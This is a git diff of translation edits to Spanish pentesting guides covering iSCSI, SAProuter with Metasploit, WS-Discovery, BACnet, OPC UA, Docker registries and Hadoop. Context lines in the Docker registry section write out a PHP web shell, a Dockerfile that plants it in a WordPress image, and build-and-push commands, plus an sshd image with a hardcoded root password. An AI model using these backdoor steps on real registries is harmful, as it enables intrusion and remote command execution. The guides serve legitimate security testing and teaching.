@ -25,7 +25,7 @@ Este script indicará si se requiere autenticación.
|
||||
|
||||
### [Montar ISCSI en Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How_to_set_up_and_use_iSCSI_target_on_Linux)
|
||||
|
||||
**Nota:** Puede que descubra que cuando se encuentran sus objetivos, se enumeran bajo una dirección IP diferente. Esto tiende a suceder si el servicio iSCSI está expuesto a través de NAT o una IP virtual. En casos como estos, `iscsiadmin` fallará al intentar conectarse. Esto requiere dos ajustes: uno en el nombre del directorio del nodo creado automáticamente por sus actividades de descubrimiento, y uno en el archivo `default` contenido dentro de este directorio.
|
||||
**Nota:** Puede que descubra que cuando se descubren sus objetivos, se enumeran bajo una dirección IP diferente. Esto tiende a suceder si el servicio iSCSI está expuesto a través de NAT o una IP virtual. En casos como estos, `iscsiadmin` fallará al intentar conectarse. Esto requiere dos ajustes: uno en el nombre del directorio del nodo creado automáticamente por sus actividades de descubrimiento, y uno en el archivo `default` contenido dentro de este directorio.
|
||||
|
||||
Por ejemplo, está intentando conectarse a un objetivo iSCSI en 123.123.123.123 en el puerto 3260. El servidor que expone el objetivo iSCSI está en realidad en 192.168.1.2 pero expuesto a través de NAT. isciadm registrará la dirección _interna_ en lugar de la dirección _pública_:
|
||||
```
|
||||
@ -39,10 +39,10 @@ Este comando creará un directorio en su sistema de archivos así:
|
||||
```
|
||||
Dentro del directorio, hay un archivo predeterminado con todas las configuraciones necesarias para conectarse al objetivo.
|
||||
|
||||
1. Renombra `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` a `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, cambia la configuración `node.conn[0].address` para que apunte a 123.123.123.123 en lugar de 192.168.1.2. Esto se puede hacer con un comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
1. Renombrar `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` a `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, cambiar la configuración de `node.conn[0].address` para que apunte a 123.123.123.123 en lugar de 192.168.1.2. Esto se puede hacer con un comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
|
||||
Ahora puedes montar el objetivo según las instrucciones en el enlace.
|
||||
Ahora puede montar el objetivo según las instrucciones en el enlace.
|
||||
|
||||
### [Montar ISCSI en Windows](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476(v=ws.10)?redirectedfrom=MSDN>)
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@ Este es un resumen de la publicación de [https://blog.rapid7.com/2014/01/09/pie
|
||||
|
||||
## Comprendiendo la penetración de SAProuter con Metasploit
|
||||
|
||||
SAProuter actúa como un proxy inverso para sistemas SAP, principalmente para controlar el acceso entre internet y redes internas de SAP. Comúnmente está expuesto a internet permitiendo el acceso al puerto TCP 3299 a través de los firewalls organizacionales. Esta configuración hace que SAProuter sea un objetivo atractivo para el pentesting porque podría servir como una puerta de entrada a redes internas de alto valor.
|
||||
SAProuter actúa como un proxy inverso para sistemas SAP, principalmente para controlar el acceso entre internet y redes internas de SAP. Comúnmente se expone a internet permitiendo el acceso al puerto TCP 3299 a través de los firewalls organizacionales. Esta configuración hace que SAProuter sea un objetivo atractivo para el pentesting porque podría servir como una puerta de entrada a redes internas de alto valor.
|
||||
|
||||
**Escaneo y recopilación de información**
|
||||
|
||||
@ -25,7 +25,7 @@ msf auxiliary(sap_router_info_request) > run
|
||||
```
|
||||
**Enumerando Servicios Internos**
|
||||
|
||||
Con la información obtenida de la red interna, el módulo **sap_router_portscanner** se utiliza para sondear hosts y servicios internos a través del SAProuter, lo que permite una comprensión más profunda de las redes internas y las configuraciones de servicio.
|
||||
Con los conocimientos obtenidos de la red interna, el módulo **sap_router_portscanner** se utiliza para sondear hosts y servicios internos a través del SAProuter, lo que permite una comprensión más profunda de las redes internas y las configuraciones de servicios.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
@ -55,7 +55,7 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||
|
||||
Este enfoque subraya la importancia de configuraciones seguras de SAProuter y destaca el potencial de acceso a redes internas a través de pruebas de penetración dirigidas. Asegurar adecuadamente los routers SAP y comprender su papel en la arquitectura de seguridad de la red es crucial para protegerse contra accesos no autorizados.
|
||||
|
||||
Para obtener información más detallada sobre los módulos de Metasploit y su uso, visita [la base de datos de Rapid7](http://www.rapid7.com/db).
|
||||
Para obtener información más detallada sobre los módulos de Metasploit y su uso, visita [Rapid7's database](http://www.rapid7.com/db).
|
||||
|
||||
## **Referencias**
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
El **Web Services Dynamic Discovery Protocol (WS-Discovery)** se identifica como un protocolo diseñado para el descubrimiento de servicios dentro de una red local a través de multicast. Facilita la interacción entre **Target Services** y **Clients**. Los Target Services son puntos finales disponibles para el descubrimiento, mientras que los Clients son los que buscan activamente estos servicios. La comunicación se establece utilizando **SOAP queries over UDP**, dirigidas a la dirección multicast **239.255.255.250** y al puerto UDP **3702**.
|
||||
El **Web Services Dynamic Discovery Protocol (WS-Discovery)** se identifica como un protocolo diseñado para el descubrimiento de servicios dentro de una red local a través de multicast. Facilita la interacción entre **Target Services** y **Clients**. Los Target Services son puntos finales disponibles para el descubrimiento, mientras que los Clients son los que buscan activamente estos servicios. La comunicación se establece utilizando **SOAP queries over UDP**, dirigidas a la dirección de multicast **239.255.255.250** y al puerto UDP **3702**.
|
||||
|
||||
Al unirse a una red, un Target Service anuncia su presencia transmitiendo un **multicast Hello**. Permanece abierto a recibir **multicast Probes** de Clients que están en busca de servicios por Tipo, un identificador único para el punto final (por ejemplo, **NetworkVideoTransmitter** para una cámara IP). En respuesta a un Probe coincidente, un Target Service puede enviar un **unicast Probe Match**. De manera similar, un Target Service podría recibir un **multicast Resolve** destinado a identificar un servicio por nombre, a lo cual puede responder con un **unicast Resolve Match** si es el objetivo previsto. En caso de abandonar la red, un Target Service intenta transmitir un **multicast Bye**, señalando su partida.
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
# Información del Protocolo
|
||||
|
||||
**BACnet** es un **protocolo de comunicaciones** para redes de Automatización y Control de Edificios (BAC) que aprovecha el protocolo estándar **ASHRAE**, **ANSI** y **ISO 16484-5**. Facilita la comunicación entre sistemas de automatización y control de edificios, permitiendo que aplicaciones como control de HVAC, control de iluminación, control de acceso y sistemas de detección de incendios intercambien información. BACnet garantiza la interoperabilidad y permite que los dispositivos de automatización de edificios computarizados se comuniquen, independientemente de los servicios específicos que proporcionen.
|
||||
**BACnet** es un **protocolo de comunicaciones** para redes de Automatización y Control de Edificios (BAC) que aprovecha el protocolo estándar **ASHRAE**, **ANSI** y **ISO 16484-5**. Facilita la comunicación entre sistemas de automatización y control de edificios, permitiendo que aplicaciones como el control de HVAC, control de iluminación, control de acceso y sistemas de detección de incendios intercambien información. BACnet garantiza la interoperabilidad y permite que los dispositivos de automatización de edificios computarizados se comuniquen, independientemente de los servicios específicos que proporcionen.
|
||||
|
||||
**Puerto por defecto:** 47808
|
||||
```text
|
||||
|
||||
@ -21,9 +21,9 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
### Explotación de vulnerabilidades
|
||||
|
||||
Si se encuentran vulnerabilidades de elusión de autenticación, puedes configurar un [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en consecuencia y ver a qué puedes acceder. Esto puede permitir desde simplemente leer valores de proceso hasta operar realmente equipos industriales de gran envergadura.
|
||||
Si se encuentran vulnerabilidades de bypass de autenticación, puedes configurar un [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en consecuencia y ver a qué puedes acceder. Esto puede permitir desde simplemente leer valores de proceso hasta operar realmente equipos industriales de gran envergadura.
|
||||
|
||||
Para tener una idea del dispositivo al que tienes acceso, lee los valores del nodo "ServerStatus" en el espacio de direcciones y busca un manual de uso en Google.
|
||||
Para obtener una pista sobre el dispositivo al que tienes acceso, lee los valores del nodo "ServerStatus" en el espacio de direcciones y busca un manual de uso en Google.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
||||
@ -225,9 +225,9 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
### Infección de imagen de WordPress
|
||||
### Inyectando un backdoor en la imagen de WordPress
|
||||
|
||||
En el escenario donde has encontrado un Docker Registry guardando una imagen de wordpress, puedes infectarla.\
|
||||
En el escenario donde has encontrado un Docker Registry guardando una imagen de wordpress, puedes inyectarle un backdoor.\
|
||||
**Crea** el **backdoor**:
|
||||
```bash:shell.php
|
||||
<?php echo shell_exec($_GET["cmd"]); ?>
|
||||
@ -238,7 +238,7 @@ FROM 10.10.10.10:5000/wordpress
|
||||
COPY shell.php /app/
|
||||
RUN chmod 777 /app/shell.php
|
||||
```
|
||||
**Crea** la nueva imagen, **verifica** que se ha creado y **envíala**:
|
||||
**Crea** la nueva imagen, **verifica** que se ha creado y **empuja** la imagen:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
@ -271,7 +271,7 @@ RUN echo root:password | chpasswd
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**Crea** la nueva imagen, **verifica** que se ha creado y **sube** la:
|
||||
**Crea** la nueva imagen, **verifica** que se ha creado y **envíala**:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
# **Información Básica**
|
||||
|
||||
**Apache Hadoop** es un **marco de trabajo de código abierto** para **almacenamiento y procesamiento distribuidos** de **grandes conjuntos de datos** a través de **clústeres de computadoras**. Utiliza **HDFS** para almacenamiento y **MapReduce** para procesamiento.
|
||||
**Apache Hadoop** es un **marco de trabajo de código abierto** para el **almacenamiento y procesamiento distribuido** de **grandes conjuntos de datos** a través de **clústeres de computadoras**. Utiliza **HDFS** para el almacenamiento y **MapReduce** para el procesamiento.
|
||||
|
||||
Desafortunadamente, Hadoop carece de soporte en el marco de Metasploit en el momento de la documentación. Sin embargo, puedes usar los siguientes **scripts de Nmap** para enumerar los servicios de Hadoop:
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user